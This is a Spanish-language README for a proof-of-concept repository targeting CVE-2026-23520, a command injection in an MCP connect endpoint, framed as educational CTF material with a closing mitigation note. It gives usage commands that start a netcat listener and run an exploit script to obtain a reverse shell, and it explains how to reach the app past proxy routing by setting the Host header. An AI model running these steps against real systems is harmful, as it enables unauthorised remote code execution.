
🎓 PoC Educativo para CVE-2026-23520. Laboratorio de análisis de vulnerabilidades y mitigación controlada. 🧪
DESCARGO DE RESPONSABILIDAD: Este repositorio y los scripts que contiene son estrictamente para fines educativos y académicos.
La información aquí proporcionada está destinada a ayudar a investigadores de seguridad, administradores de sistemas y estudiantes a comprender la mecánica de las vulnerabilidades de inyección de comandos y el enrutamiento de hosts virtuales en entornos de laboratorio controlados (como plataformas Capture The Flag).
Nunca utilice esta herramienta contra ningún sistema, red o infraestructura sin el permiso explícito y por escrito del propietario. Los autores no asumen ninguna responsabilidad por el mal uso o daños causados por este software.
Este repositorio proporciona una Prueba de Concepto (PoC) para explotar CVE-2026-23520 en el contexto de la implementación del Model Context Protocol (MCP) en ciertos stacks de aplicaciones (como Arcane v1.13.0).
La vulnerabilidad es un fallo clásico de inyección de comandos. El endpoint de la API (/api/mcp/connect) acepta un payload JSON para configurar una nueva conexión de servidor. El payload incluye un objeto serverConfig que contiene los campos command y args.
Debido a que la aplicación no logra sanitizar adecuadamente estos campos antes de ejecutarlos en el sistema operativo anfitrión, un atacante puede proporcionar comandos bash maliciosos (como una shell reversa) en lugar de una ruta de servicio legítima.
En muchos despliegues reales o de CTF, simplemente enviar el exploit a la dirección IP principal resultará en un error 404 Not Found. Esto ocurre porque el componente vulnerable (por ejemplo, MCPJam Inspector) está alojado detrás de un proxy inverso (como Nginx) que enruta el tráfico basándose en la cabecera Host.
Esta PoC se diferencia de los exploits estándar al permitir explícitamente al usuario especificar el Host Virtual (vhost) para eludir las reglas de enrutamiento del proxy y alcanzar directamente la aplicación vulnerable.
Este script requiere Python 3 y la librería requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
Nota: Un error de "Read timed out" es esperado e indica que la shell reversa se ha ejecutado con éxito y está manteniendo la conexión abierta.
Los administradores deben asegurarse de estar ejecutando la última versión parcheada del software. Si no es posible parchear de inmediato, restrinja el acceso al endpoint /api/mcp/connect y asegúrese de que se aplique una validación estricta de entrada a todos los parámetros de serverConfig.